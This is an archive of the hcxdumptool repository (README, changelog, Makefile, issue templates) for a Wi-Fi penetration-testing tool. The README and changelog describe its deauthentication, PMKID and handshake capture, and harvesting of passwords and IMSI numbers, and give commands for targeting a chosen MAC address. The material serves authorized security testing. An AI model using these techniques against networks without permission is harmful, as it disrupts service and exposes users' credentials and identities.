pax_global_header00006660000000000000000000000064147143610350014516gustar00rootroot0000000000000052 comment=2c54f91608770ab448948f52dbe41c96e705418e hcxdumptool-6.3.5/000077500000000000000000000000001471436103500140775ustar00rootroot00000000000000hcxdumptool-6.3.5/.github/000077500000000000000000000000001471436103500154375ustar00rootroot00000000000000hcxdumptool-6.3.5/.github/ISSUE_TEMPLATE/000077500000000000000000000000001471436103500176225ustar00rootroot00000000000000hcxdumptool-6.3.5/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000015131471436103500223140ustar00rootroot00000000000000--- name: Bug report about: Please report bugs here title: '' labels: '' assignees: '' --- **GitHub is for bugs and features - not for support** Questions must be posted in the discussion board https://github.com/ZerBea/hcxdumptool/discussions **Check the FAQ** Please review the discussions **Comment output of** 1. $ sudo hcxdumptool -v 2. $ sudo hcxdumptool -l Bug reports will only be accepted against the current tip of the master git branch. Anything else will be rejected. **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Comment the entire command line **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Additional context** Add any other context about the problem here. hcxdumptool-6.3.5/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000013571471436103500233550ustar00rootroot00000000000000--- name: Feature request about: Suggest an idea for this project title: '' labels: '' assignees: '' --- **GitHub is for bugs and features - not for support** Questions must be posted in the discussion board https://github.com/ZerBea/hcxdumptool/discussions **Check the FAQ** Some items that might appear to be issues are not issues. Please review the discussions. **Describe the feature** A clear and concise description of what the feature is. **Current behavior** Please give a reproducible example of the current behavior, if possible. **Expected behavior** A clear and concise description of what you expected to happen, ideally with mock output. **Additional context** Add any other context or screenshots about the feature request here. hcxdumptool-6.3.5/.github/workflows/000077500000000000000000000000001471436103500174745ustar00rootroot00000000000000hcxdumptool-6.3.5/.github/workflows/cpush.yml000066400000000000000000000007611471436103500213450ustar00rootroot00000000000000name: C CI on: push: branches: [ "master" ] pull_request: branches: [ "master" ] jobs: build: runs-on: ubuntu-latest strategy: matrix: os-version: [ ubuntu-latest ] compiler: [ gcc-latest ] deps: ['enabled'] platform: ['x64', 'x86'] steps: - uses: actions/checkout@v3 with: fetch-depth: 0 - name: Install packages run: | sudo apt install -y libpcap-dev - name: Make run: make hcxdumptool-6.3.5/.gitignore000066400000000000000000000000141471436103500160620ustar00rootroot00000000000000hcxdumptool hcxdumptool-6.3.5/Makefile000066400000000000000000000032351471436103500155420ustar00rootroot00000000000000PRODUCTION := 1 PRODUCTION_VERSION := 6.3.5 PRODUCTION_YEAR := 2024 ifeq ($(PRODUCTION),1) VERSION_TAG := $(PRODUCTION_VERSION) else VERSION_TAG := $(shell git describe --tags || echo $(PRODUCTION_VERSION)) endif VERSION_YEAR := $(shell echo $(PRODUCTION_YEAR)) PREFIX ?= /usr BINDIR = $(DESTDIR)$(PREFIX)/bin HOSTOS := $(shell uname -s) CC ?= gcc CFLAGS ?= -O3 -Wall -Wextra -Wpedantic CFLAGS += -std=gnu99 # uncomment to enable DEBUG symbols #CFLAGS += -ggdb -fsanitize=address DEFS = -DVERSION_TAG=\"$(VERSION_TAG)\" -DVERSION_YEAR=\"$(VERSION_YEAR)\" # comment to disable STATUS display (headless operation) DEFS += -DHCXSTATUSOUT # comment to disable GPS support DEFS += -DHCXNMEAOUT # uncomment to enable BPF compiler DEFS += -DHCXWANTLIBPCAP LDFLAGS += -lpcap # uncomment to enable DEBUG log #DEFS += -DHCXDEBUG INSTALL ?= install INSTFLAGS = ifeq ($(HOSTOS), Linux) INSTFLAGS += -D endif TOOLS=hcxdumptool .PHONY: all build install clean uninstall all: build build: $(TOOLS) # $1: tool name define tool-build $(1)_src ?= $(1).c $(1)_libs ?= $(1)_cflags ?= $(1): $$($(1)_src) $$(CC) $$(CFLAGS) $$($(1)_cflags) $$(CPPFLAGS) -o $$@ $$($(1)_src) $$(DEFS) $$(LDFLAGS) .deps/$(1).d: $(1) .PHONY: $(1).install $(1).install: $(1) $$(INSTALL) $$(INSTFLAGS) -m 0755 $(1) $$(BINDIR)/$(1) .PHONY: $(1).clean $(1).clean: rm -f .deps/$(1).d rm -f $(1) .PHONY: $(1).uninstall $(1).uninstall: rm -rf $$(BINDIR)/$(1) endef $(foreach tool,$(TOOLS),$(eval $(call tool-build,$(tool)))) install: $(patsubst %,%.install,$(TOOLS)) clean: $(patsubst %,%.clean,$(TOOLS)) rm -rf .deps rm -f *.o *~ uninstall: $(patsubst %,%.uninstall,$(TOOLS)) -include .deps/*.d hcxdumptool-6.3.5/README.md000066400000000000000000000315411471436103500153620ustar00rootroot00000000000000# hcxdumptool A tool to capture packets from WLAN devices and to discover potential weak points within own WiFi networks by running layer 2 attacks against the WPA protocol. Designed to to run (mostly headless) on small systems like a Raspberry Pi Zero. ### General Information - [An overview of Hashcat mode 22000.](https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2) - [A set of tools by **ZerBea** intended for processing capture files.](https://github.com/ZerBea/hcxtools) - [Old but still applicable write-up by **atom** of the Hashcat forums covering a new attack on WPA/WPA2 using PMKID.](https://hashcat.net/forum/thread-7717.html) - [Hashcat mode 22000 write-up by **atom** of the Hashcat forums.](https://hashcat.net/forum/thread-10253.html) - [A write-up by **Ido Hoorvitch** from CyberArk covering the statistics of WPA/WPA2 password cracking.](https://www.cyberark.com/resources/threat-research-blog/cracking-wifi-at-scale-with-one-simple-trick) - [A section of this README that covers hcxdumptool's abilities and the responsibilities of using it.](https://github.com/ZerBea/hcxdumptool#caution) - hcxdumptool uses the modern [pcapng](https://pcapng.com/) format, allowing for use with wireshark or tshark. - [A document showcasing an example attack using hcxdumptool and hcxtools.](https://github.com/ZerBea/hcxdumptool/blob/master/docs/example.md) ### What Doesn't hcxdumptool Do? - It does not crack WPA PSK related hashes. (Use Hashcat or JtR to recover the PSK.) - It does not crack WEP. (Use the aircrack-ng suite instead.) - It does not crack WPS. (Use Reaver or Bully instead.) - It does not decrypt encrypted traffic. (Use tshark or Wireshark in parallel.) - It does not record all traffic captured on the WLAN device. (Use tshark or Wireshark in parallel.) - It does not perform Evil Twin attacks. - It does not provide a beautiful status display. - It is not a honey pot. **Unsupported:** Windows OS, macOS, Android, emulators or wrappers! > [!NOTE] > > **hcxdumptool** does not perform conversion or cracking! It is designed to be used in conjunction with the following tools: > > | Tool | Description | > | ------------- | ------------------------------------------------------------------------------------------------------| > | hcxpcapngtool | Tool to convert raw PCAPNG files to Hashcat and JtR readable formats. (hcxtools) | > | hcxhashtool | Tool to filter hashes from HC22000 files based on user input. (hcxtools) | > | hcxpsktool | Tool to get weak PSK candidates from HC22000 files. (hcxtools) | > | hcxeiutool | Tool to calculate wordlists based off ESSIDs gathered. (hcxtools) | > | Hashcat/JtR | Third party tools used to infer PSK from HC22000 hash files. | > > **hcxtools** can be found [here](https://github.com/ZerBea/hcxtools). Hashcat can be found [here](https://github.com/hashcat/hashcat). ### Work Flow hcxdumptool -> hcxpcapngtool -> hcxhashtool (additional hcxpsktool/hcxeiutool) -> Hashcat or JtR ### Requirements - Knowledge of radio technology. - Knowledge of electromagnetic-wave engineering. - Detailed knowledge of 802.11 protocol. - Detailed knowledge of key derivation functions. - Detailed knowledge of Linux. - Detailed knowledge of filter procedures. (Berkeley Packet Filter, capture filter, display filter, etc.) - Detailed knowledge of Bolean Operators. - Operating system: Linux (recommended: kernel >= 6.6, mandatory: kernel >= 5.15) - Recommendation: Arch Linux (notebooks and desktop systems), OpenWRT (small systems like Raspberry Pi, WiFi router) - WLAN device chipset must be able to run in monitor mode. MediaTek chipsets are preferred due to active monitor mode capabilities. - WLAN device driver *must* support monitor and full frame injection mode. - gcc >= 14 recommended (deprecated versions are not supported: https://gcc.gnu.org/) - make - libpcap and libpcap-dev (If internal BPF compiler has been enabled.) - Raspberry Pi A, B, A+, B+, Zero (WH). (Recommended: Zero or A+, because of a very low power consumption), but notebooks and desktops will work as well. - GPIO hardware mod recommended (push button and LED) on Raspberry Pi - To allow 5/6/7GHz packet injection, it is mandatory to uncomment a regulatory domain that support this: /etc/conf.d/wireless-regdom - Make sure that the version of hcxdumptool always fits to the version of hcxpcapngtool ### Install Guide > [!IMPORTANT] > > While hcxdumptool and hcxtools are available through the package manager on most distributions, these packages are usually very old and outdated, thus cloning and building is recommended. > > Make sure that your distribution is updated to it's latest version and make sure that all header files and dependencies have been installed BEFORE attempting to compile! > > The packages mentioned in the "Requirements" section sometimes come under different names in a package manager! Make sure to install the correct packages! #### Clone Repository ``` git clone https://github.com/ZerBea/hcxdumptool.git cd hcxdumptool ``` #### Compile & Install Compiling: ``` make -j $(nproc) ``` Installing to `/usr/bin`: ``` make install (as super user) ``` Or installing to `/usr/local/bin`: ``` make install PREFIX=/usr/local (as super user) ``` > [!TIP] > > On headless operation, remove -DSTATUSOUT from the Makefile before compiling! That way, the status display will not be compiled. This will save CPU cycles and prevent ERRORs from occurring. > > It is theoretically possible to compile hcxdumptool for other systems (e.g. Android) and other distributions (e.g. KALI) and other operating systems (BSD) as well. > There is no plan to support the operating systems and feature requests will be rejected. ### Adapters > [!WARNING] > > - Do not expect flawless drivers on brand new hardware! > > - Driver must support monitor mode and full packet injection! > > - PRISM devices are _not_ supported! > > - WIRELESS EXTENSIONS are deprecated and no longer supported! > [!NOTE] > > Manufacturers do change chipsets without changing model numbers. Sometimes they add (v)ersion or (rev)vision. > As long as a manufacturer or a company does not consider it necessary to supply drivers to the Linux kernel avoid to buy this products! > > **Always verify the actual chipset with 'lsusb' and/or 'lspci'!** > > No support for a third party driver which is not part of the official Linux kernel (https://www.kernel.org/) > Report related issues to the site, from which you downloaded the driver. > > No support for a driver which doesn't support monitor mode and full frame injection natively. > If you need these features, do a request on www.kernel.org > > Some device and driver tests can be found [here](https://github.com/ZerBea/hcxdumptool/discussions/361). > Dependent on the version of the Linux kernel, expect massive driver issues. Known as working WiFi chipsets: * Atheros (ath9k_htc) old chipset * Ralink (rt2800usb) old chipset * MediaTek (mt76) depending on chipset and the version of the Linux Kernel expect massive driver issues * Realtek (rtl8xxxu) depending on chpset and the version of the Linux Kernel expect massive driver issues Not recommended WiFi chipsets: * Intel (Monitor mode and frame injection problems.) * Broadcom (Neither monitor mode nor frame injection by official Linux kernel.) * Qualcomm (No frame injection by official Linux kernel.) More information about possible issues or limitations can be found [here](https://github.com/ZerBea/hcxdumptool#useful-links). ### Antennas The best high frequency amplifier is a good antenna! It is much better to achieve gain using a good antenna instead of increasing transmission power. | VENDOR MODEL | TYPE | | ---------------------- | --------------- | | LOGILINK WL0097 | Grid Parabolic | | TP-LINK TL-ANT2414 A/B | Panel | | LevelOne WAN-1112 | Panel | | DELOCK 88806 | Panel | | TP-LINK TL-ANT2409 A | Panel | ### GPS devices (NMEA 0183 protocol) | VENDOR MODEL | TYPE | | --------------------------- | --------------- | | NAVILOCK NL-701US | USB | | JENTRO BT-GPS-8 activepilot | BLUETOOTH | | HiLetgo VK172 | USB | ### Useful Scripts | Script | Description | | ------------ | -------------------------------------------------------- | | stopnm | Example script to start NetworkManager | | startnm | Example script to stop NetworkManager | | startnlmon | Example script to activate NETLINK monitor | ### Caution! You might expect me to recommend that everyone should be using hcxdumptool/hcxtools. But the fact of the matter is, hcxdumptool/hcxtools is _NOT_ recommended to be used by inexperienced users or newbies. If you are not familiar with Linux in general or you do not have at least a basic level of knowledge as mentioned in the "Requirements" section, hcxdumptool/hcxtools is probably not what you are looking for. However, if you have that knowledge hcxdumptool/hcxtools can do magic for you. Misuse of hcxdumptool within a network, particularly without authorization, may cause irreparable damage and result in significant consequences. “Not understanding what you were doing” is not going to work as an excuse. The entire toolkit (hcxdumptool and hcxtools) is designed to be an analysis toolkit. **hcxdumptool should only be used in a 100% controlled environment!** If you can't control the environment, it is absolutely mandatory to set the [BPF](https://wiki.wireshark.org/CaptureFilters)! The BPF can be used to select a target (or multible targets) or to protect devices. By default, hcxdumptool is utilizing three attack vectors: - Connecting to an ACCESS POINT to get a PMKID (turn off by --attemptapmax) - Disconnecting a CLIENT from an associated ACCESS POINT to get a complete handshake (M1M2M3M4) and a PMKID (turn off by --attemptapmax) - Allowing a CLIENT to connect to hcxdumptool to get a challenge (M1M2) or an EAP-ID (turn off by --attemptclientmax) > [!WARNING] > > **You may only use hcxdumptool on networks that you have permission to attack, because:** > > - hcxdumptool is able to prevent complete WLAN traffic transmission. (Depending on selected options.) > > - hcxdumptool is able to capture PMKIDs from access points. (Only one single PMKID from an access point is required. Use hcxpcapngtool to convert them to a format Hashcat or JtR understands.) > > - hcxdumptool is able to capture handshakes from non-connected clients. (Only one single M2 from the client is required. Use hcxpcapngtool to convert them to a format Hashcat or JtR understands.) > > - hcxdumptool is able to capture handshakes from 5/6GHz clients on 2.4GHz. (Only one single M2 from the client is required. Use hcxpcapngtool to convert to a format Hashcat or JtR understands.) > > - hcxdumptool is able to capture passwords from the WLAN traffic. (Use hcxpcapngtool -R to save them to file, or together with networknames [-E].) > > - hcxdumptool is able to request and capture extended EAPOL. (RADIUS, GSM-SIM, WPS. hcxpcapngtool will show you information about them.) > > - hcxdumptool is able to capture identities from the WLAN traffic. (Example: Request IMSI numbers from mobile phones - use hcxpcapngtool -I to save them to file.) > > - hcxdumptool is able to capture usernames from the WLAN traffic. (Example: User name of a server authentication - use hcxpcapngtool -U to save them to file.) > > **Do Not:** > > - Use a logical interface and leave the physical interface in managed mode! > > - Use hcxdumptool in combination with the aircrack-ng suite, Reaver, Bully, or any other tools that take access to the interface! > > - Use tools like macchanger as they are useless since hcxdumptool uses its own random MAC address space. > > - Merge PCAPNG dumpfiles because doing so will destroy custom block hash assignments! ### Useful Links - [PCAPNG Format Information](https://pcapng.com/) - [The Linux Kernel Documentation](https://www.kernel.org/doc/html/latest/) - [BPF Documentation](https://www.kernel.org/doc/html/latest/bpf/index.html) - [Linux Commands Handbook](https://www.freecodecamp.org/news/the-linux-commands-handbook/) - [WPA2 Information](https://en.wikipedia.org/wiki/Wpa2) - [802.11 Frame Types](https://en.wikipedia.org/wiki/802.11_Frame_Types) - [802.11 Security Improvements](https://en.wikipedia.org/wiki/IEEE_802.11i-2004) - [Kernel Bugzilla](https://bugzilla.kernel.org) - [About ath10k](https://wireless.wiki.kernel.org/en/users/Drivers/ath10k) - [Status of Realtek out-of-kernel Drivers](https://github.com/morrownr/USB-WiFi/issues/314) - [PCAPNG Status Options](https://github.com/ZerBea/hcxdumptool/blob/master/docs/option-codes.md) hcxdumptool-6.3.5/changelog000066400000000000000000002750411471436103500157620ustar00rootroot0000000000000011.11.2024 ========== release v6.3.5 better compatibility with OpenWRT several fixes 04.03.2024 ========== README.md: removed entire instructions how to compile hcxdumptool on different distributions check the distribution's page how to update the ditribution, how to install missing dependencies and missing header files 25.02.2024 ========== release v6.3.4 release v6.3.3 internal BPFC compiler enabled by default new dependency libpcap 04.02.2024 ========== hcxdumptool: changed bit mask order of exitoneapol --exitoneapol= : exit on first EAPOL occurrence: bitmask: 1 = PMKID (from AP) 2 = EAPOL M2M3 (authorized) 4 = EAPOL M1M2/M1M2ROGUE (not authorized) 8 = EAPOL M1 06.01.2024 ========== hcxdumptool: changed option --beacon_off to --disable_beacon 04.12.2023 ========== hcxdumptool: allow to set monitor mode (-m) in combination with channel (-c) or frequency (-f) 28.12.2023 ========== hcxdumptool: do not spam channel with retries changed SNAPLEN 22.12.2023 ========== hcxdumptool: added BE support removed option beacontx --beaconoff : disable internal BEACON (one BEACON/second to wildcard SSID) 08.12.2023 ========== Some drivers report incorrectly active monitor mode capability. hcxdumptool: do not set active monitor mode by default if driver report that it is possible removed option -p added new option -A in case active monitor mode is working as expected -A : ACK incoming frames INTERFACE must support active monitor mode 28.11.2023 ========== hcxdumptool: added full featured BPF compiler due to additional dependency (libpcap and libpcap-dev) this feature must be enabled in Makefile added PROBEREQUEST counter to rcascan mode added option to sort rcascan display by PROBEREQUEST counter 27.11.2023 ========== hcxdumptool: accept Berklev Packet filter code in tcpdump raw format and in tcpdump c style format -bpf= : input Berkeley Packet Filter (BPF) code (maximum 4096 instructions) in tcpdump raw format: example: tcpdump high level compiler: $ tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 11:22:33:44:55:66 -ddd > filter.bpf see man pcap-filter eample: bpf_asm low level compiler $ bpf_asm filter.asm | tr ',' '\n' > filter.bpf see https://www.kernel.org/doc/html/latest/networking/filter.html example: bpfc low level compiler: $ bpfc -f tcpdump -i filter.asm > filter.bpf see man bpfc in tcpdump c style format: example: tcpdump high level compiler: $ tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 11:22:33:44:55:66 -dd > filter.bpf see man pcap-filter example: bpfc low level compiler: $ bpfc -f C -i filter.asm > filter.bpf see man bpfc 01.11.2023 ========== release v6.3.2 23.10.2023 ========== hcxdumptool: removed option "disable_beacon" because it is replaced by option beacontx=0 01.09.2023 ========== hcxdumptool: added new option to get shart and greppable interface list 26.07.2023 ========== hcxdumptool: added compile time information to version information $ hcxdumptool -v hcxdumptool 6.3.1-35-g1a0930e (C) 2023 ZeroBeat compiled by gcc 13.1.1 Linux API headers 6.3.0 compiled with glibc 2.37 Under normal circumstances, the Linux kernel version could be greater than the "Linux API headers" version, but never less. 24.07.2023 ========== hcxdumptool: added new option to EXIT on EAPOL --exitoneapol= : exit on first EAPOL occurrence: bitmask: 1 = PMKID 2 = EAPOL M2 4 = EAPOL M3 target BPF filter is recommended get more information here: https://github.com/ZerBea/hcxdumptool/issues/333#issuecomment-1647684235 03.07.2023 ========== added -Wpedantic to compiler flags and fixed all warnings 30.06.2023 ========== release v6.3.1 09.05.2023 ========== hcxdumptool: added option to remove active monitor flag -p : do not set monitor mode: active (do not ACK incoming frames addressed to the device MAC default monitor mode: active (ACK all incoming frames addresed to the device MAC) This is a workaround on mt7601u devices/drivers. Running active monitor mode, only frames addressed to the MAC of the device or addressed to BROADCAST MAC are received. This is a driver/firmware problem! To verify if you are affected: run hcxdumptool run Wireshark in parallel and set filter option to "eapol" if Wireshark only show EAPOL M1 frames it is mandatory to disable active monitor mode by option "-p" Problem is reported here: https://bugzilla.kernel.org/show_bug.cgi?id=217465 06.05.2023 ========== hcxdumptool: added option to save GPS information to pcapng dumpfile --nmea_pcapng : write GPS information to pcapng dump file 05.05.2023 ========== release v6.3.0 Since kernel 6.3 Kernel developer decided to print a dmesg warning if tools are detected that use deprecated WEXT: [ 2770.939021] warning: `hcxdumptool' uses wireless extensions which will stop working for Wi-Fi 7 hardware; use nl80211 hcxdumptool used ioctl(SIOCGIWNAME) to detect presence of WEXT. That was the last remnant of WEXT code. To get rid of this dmesg warning, this detection has been removed by latest commit. 03.05.2023 ========== hcxdumptool: changed/added several options: $ hcxdumptool --help hcxdumptool 6.2.9-161-gf581815 (C) 2023 ZeroBeat usage: hcxdumptool first stop all services that take access to the interface, e.g.: $ sudo systemctl stop NetworkManager.service $ sudo systemctl stop wpa_supplicant.service then run hcxdumptool press ctrl+c to terminate press GPIO button to terminate hardware modification is necessary, read more: https://github.com/ZerBea/hcxdumptool/tree/master/docs stop all services (e.g.: wpa_supplicant.service, NetworkManager.service) that take access to the interface do not set monitor mode by third party tools (iwconfig, iw, airmon-ng) do not use logical (NETLINK) interfaces (monx, wlanxmon, prismx, ...) created by airmon-ng and iw do not use virtual machines or emulators do not run other tools that take access to the interface in parallel (except: tshark, wireshark, tcpdump) do not use tools to change MAC (like macchanger) do not merge (pcapng) dump files, because this destroys assigned hash values! short options: -i : name of INTERFACE to be used default: first suitable INTERFACE warning: hcxdumptool changes the virtual MAC address of the INTERFACE -w : write packets to a pcapng-format file named default outfile name: yyyyddmmhhmmss-interfacename.pcapng get more information: https://pcapng.com/ -c : set channel (1a,2a,36b...) default: 1a,6a,11a important notice: channel numbers are not unique it is mandatory to add band information to the channel number (e.g. 12a) band a: NL80211_BAND_2GHZ band b: NL80211_BAND_5GHZ band c: NL80211_BAND_6GHZ band d: NL80211_BAND_60GHZ band e: NL80211_BAND_S1GHZ (902 MHz) to disable frequency management, set this option to a single frequency/channel -f : set frequency (2412,2417,5180,...) -F : use available frequencies from INTERFACE -t : minimum stay time (will increase on new stations and/or authentications) default 1 seconds -m : set monitor mode and terminate -L : show INTERFACE list -I : show detailed information about INTERFACE -h : show this help -v : show version long options: --bpf= : input kernel space Berkeley Packet Filter (BPF) code steps to create a BPF (it only has to be done once): $ hcxdumptool -m create BPF to protect MACs $ tcpdump -i not wlan addr2 11:22:33:44:55:66 -ddd > protect.bpf recommended to protect own devices create BPF to attack a MAC $ tcpdump -i wlan addr1 11:22:33:44:55:66 or wlan addr2 11:22:33:44:55:66 or wlan addr3 11:22:33:44:55:66 -ddd > attack.bpf it is strongly recommended to allow all PROBEREQUEST frames (wlan_type mgt && wlan_subtype probe-req) $ tcpdump -i wlan addr1 11:22:33:44:55:66 or wlan addr2 11:22:33:44:55:66 or wlan addr3 11:22:33:44:55:66 or wlan addr3 ff:ff:ff:ff:ff:ff -ddd > attack.bpf see man pcap-filter for a list of all filter options add BPF code: $ hcxdumptool -i --bpf=attack.bpf ... --disable_beacon : do not transmit BEACON frames --disable_deauthentication : do not transmit DEAUTHENTICATION/DISASSOCIATION frames --disable_proberequest : do not transmit PROBEREQUEST frames --disable_association : do not AUTHENTICATE/ASSOCIATE --disable_reassociation : do not REASSOCIATE a CLIENT --beacontx= : transmit BEACON of first n entries of ESSID list default: 10 --proberesponsetx= : transmit PROBERESPONSEs of first n entries of ESSID list default: 10 --essidlist= : initialize ESSID list with these ESSIDs --errormax= : set maximum allowed ERRORs default: 100 ERRORs --watchdogmax= : set maximum TIMEOUT when no packets received default: 600 seconds --attemptclientmax= : set maximum of attempts to request an EAPOL M2 default: 10 attempts --attemptapmax= : set maximum of received BEACONs to request a PMKID or to get a 4-way handshake default: stop after 4 received BEACONs --tot= : enable timeout timer in minutes --onsigterm= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --ongpiobutton= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --ontot= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --onwatchdog= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --onerror= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --gpio_button= : Raspberry Pi GPIO pin number of button (2...27) push GPIO button (> 10 seconds) to terminate program default: 0 (GPIO not in use) --gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27) default: 0 (GPIO not in use) --nmea_dev= : open NMEA device (/dev/ttyACM0, /dev/tty/USB0, ...) baudrate = BD9600 --gpsd : use gpsd to get position gpsd will be switched to NMEA0183 mode --nmea_out= : write GPS information to a nmea-format file named default outfile name: yyyymmddhhmmss.nmea output: NMEA 0183 standard messages: $GPRMC: Position, velocity, time and date $GPGGA: Position, orthometric height, fix related data, time $GPWPL: Position and MAC AP $GPTXT: ESSID in HEX ASCII use gpsbabel to convert to other formats: gpsbabel -w -t -i nmea -f in_file.nmea -o gpx -F out_file.gpx gpsbabel -w -t -i nmea -f in_file.nmea -o kml -F out_file.kml get more information: https://en.wikipedia.org/wiki/NMEA_0183 --rcascan= : do (R)adio (C)hannel (A)ssignment scan default = passive scan a = active scan p = passive scan --rds= : sort real time display default: sort by time (last seen on top) 1 = sort by status (last PMKID/EAPOL on top) --help : show this help --version : show version Legend real time display: R = + AP display: AP is in TX range or under attack S = + AP display: AUTHENTICATION KEY MANAGEMENT PSK P = + AP display: got PMKID 1 = + AP display: got EAPOL M1 (CHALLENGE) 3 = + AP display: got EAPOL M1M2M3 (AUTHORIZATION) E = + CLIENT display: got EAP-START MESSAGE 2 = + CLIENT display: got EAPOL M1M2 (ROGUE CHALLENGE) Notice: This is a penetration testing tool! It is made to detect vulnerabilities in your NETWORK mercilessly! To store entire traffic, run -w allframes.pcapng> in parallel 19.04.2023 ========== hcxdumptool: changed rcascan --rcascan= : do (R)adio (C)hannel (A)ssignment scan default = passive scan a = active scan p = passive scan 14.04.2023 ========== hcxdumptool: added new option to sort status display --rds= : sort real time display default: sort by time (last seen on top) 1 = sort by status (last PMKID/EAPOL on top) 07.04.2023 ========== removed obsolete hcxpioff refactored hcxdumptool: replaced entire hcxdumptool code by hcxlabtool code $ hcxdumptool --help hcxdumptool 6.2.9-22-gace924f (C) 2023 ZeroBeat usage: hcxdumptool first stop all services that take access to the interface , e.g.: $ sudo systemctl stop NetworkManager.service $ sudo systemctl stop wpa_supplicant.service than run hcxdumptool press ctrl+c to terminate press GPIO button to terminate hardware modification is necessary, read more: https://github.com/ZerBea/hcxdumptool/tree/master/docs do not set monitor mode by third party tools (iwconfig, iw, airmon-ng) do not use logical (NETLINK) interfaces (monx, wlanxmon, prismx, ...) created by airmon-ng and iw do not use virtual machines or emulators do not run other tools that take access to the interface in parallel (except: tshark, wireshark, tcpdump) do not use tools to change MAC (like macchanger) stop all services (e.g.: wpa_supplicant.service, NetworkManager.service) that take access to the interface short options: -i : name of INTERFACE to be used default: first suitable INTERFACE warning: hcxdumptool changes the virtual MAC address of the INTERFACE -w : write packets to a pcapng-format file named default outfile name: yyyyddmmhhmmss-interfacename.pcapng get more information: https://pcapng.com/ -c : set channel (1a,2a,36b...) default: 1a,6a,11a important notice: channel numbers are not unique it is mandatory to add band information to the channel number (e.g. 12a) band a: NL80211_BAND_2GHZ band b: NL80211_BAND_5GHZ band c: NL80211_BAND_6GHZ band d: NL80211_BAND_60GHZ band e: NL80211_BAND_S1GHZ (902 MHz) to disable frequency management, set this option to a single frequency/channel -f : set frequency (2412,2417,5180,...) -F : use available frequencies from INTERFACE -t : minimum stay time (will increase on new stations and/or authentications default 1 seconds -m : set monitor mode and terminate -L : show INTERFACE list -I : show detailed information about INTERFACE -h : show this help -v : show version long options: --bpf= : input kernel space Berkeley Packet Filter (BPF) code steps to create a BPF (it only has to be done once): $ hcxdumptool -m create BPF to protect MACs $ tcpdump -i not wlan addr2 11:22:33:44:55:66 -ddd > protect.bpf recommended to protect own devices create BPF to attack a MAC $ tcpdump -i wlan addr1 11:22:33:44:55:66 or wlan addr2 11:22:33:44:55:66 or wlan addr3 11:22:33:44:55:66 -ddd > attack.bpf it is strongly recommended to allow all PROBEREQUEST frames (wlan_type mgt && wlan_subtype probe-req) $ tcpdump -i wlan addr1 11:22:33:44:55:66 or wlan addr2 11:22:33:44:55:66 or wlan addr3 11:22:33:44:55:66 or wlan addr3 ff:ff:ff:ff:ff:ff -ddd > attack.bpf see man pcap-filter for a list of all filter options add BPF code: $ hcxdumptool -i --bpf=attack.bpf ... --disable_beacon : do not transmit BEACON frames --disable_deauthentication : do not transmit DEAUTHENTICATION/DISASSOCIATION frames --disable_proberequest : do not transmit PROBEREQUEST frames --disable_association : do not AUTHENTICATE/ASSOCIATE --disable_reassociation : do not REASSOCIATE a CLIENT --beacontx= : transmit BEACON of first n entries of ESSID list default: 10 --proberesponsetx= : transmit PROBERESPONSEs of first n entries of ESSID list default: 10 --essidlist= : initialize ESSID list with this ESSIDs --errormax= : set maximum allowed ERRORs default: 100 ERRORs --watchdog= : set maximum TIMOUT when no packets received default: 600 seconds --attemptclientmax= : set maximum of attempts to request an EAPOL M2 default: 10 attempts --attemptapmax= : set maximum of received BEACONs to request a PMKID or to get a 4-way handshake default: stop after 4 received BEACONs --tot= : enable timeout timer in minutes --onsigterm= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --ongpiobutton= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --ongtot= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --onwatchdog= : action when the program has been terminated (poweroff, reboot) poweroff: power off system reboot: reboot system --gpio_button= : Raspberry Pi GPIO pin number of button (2...27) push GIPO button (> 10 seconds) to terminate program default: 0 (GPIO not in use) --gpio_statusled= : Raspberry Pi GPIO number of status LED (2...27) default: 0 (GPIO not in use) --nmea_dev= : open NMEA device (/dev/ttyACM0, /dev/tty/USB0, ...) baudrate = BD9600 --gpsd : use gpsd to get position gpsd will be switched to NMEA0183 mode --nmea_out= : write GPS information to a nmea-format file named default outfile name: yyyyddmmhhmmss.nmea output: NMEA 0183 standard messages: $GPRMC: Position, velocity, time and date $GPGGA: Position, orthometric height, fix related data, time $GPWPL: Position and MAC AP $GPTXT: ESSID in HEX ASCII use gpsbabel to convert to other formats: gpsbabel -w -t -i nmea -f in_file.nmea -o gpx -F out_file_gpx gpsbabel -w -t -i nmea -f in_file.nmea -o kml -F out_file.kml get more information: https://en.wikipedia.org/wiki/NMEA_0183 --rcascan_passive : do passive (R)adio (C)hannel (A)ssignment scan --help : show this help --version : show version Legend real time display: R = + AP is in TX range P = + got PMKID M = + AP display: got EAPOL M1M2M3 (AUTHORIZATION) M = + CLIENT display: got EAPOL M1M2 (ROGUE CHALLENGE) A = + AUTHENTICATION KEY MANAGEMENT PSK Notice: This is a penetration testing tool! It is made to detect vulnerabilities in your NETWORK mercilessly! To store entire traffic, run -w allframes.pcapng> in parallel 06.04.2023 ========== release v6.2.9 several bug fixes This is the last version: that use WIRELESS EXTENSIONS that use ETHTOOL to get/set virtual MAC address that use old style status output that use soft coded filter lists that use msec timestamp that use crypto stuff that use server/client mode to display status Next version will go back to the roots: set focus on WPA PSK (WPA1, WPA2, WPA2 key version 3) set bandwidth to 20MHz to increase range set bitrate to lowest values to increase range use active monitor mode use NL80211 stack use RTNETLINK band a, b, c, d, e support use NMEA messages: $GPRMC: Position, velocity, time and date $GPGGA: Position, orthometric height, fix related data, time $GPWPL: Position and MAC AP $GPTXT: ESSID in HEX ASCII remove options that slow hcxdumptool down 10.03.2023 ========== release v6.2.8 move to OpenSSL 3.0 EVP API (from now on OPenSSL >= 3.0 is mandatory) new options several bug fixes 16.01.2023 ========== 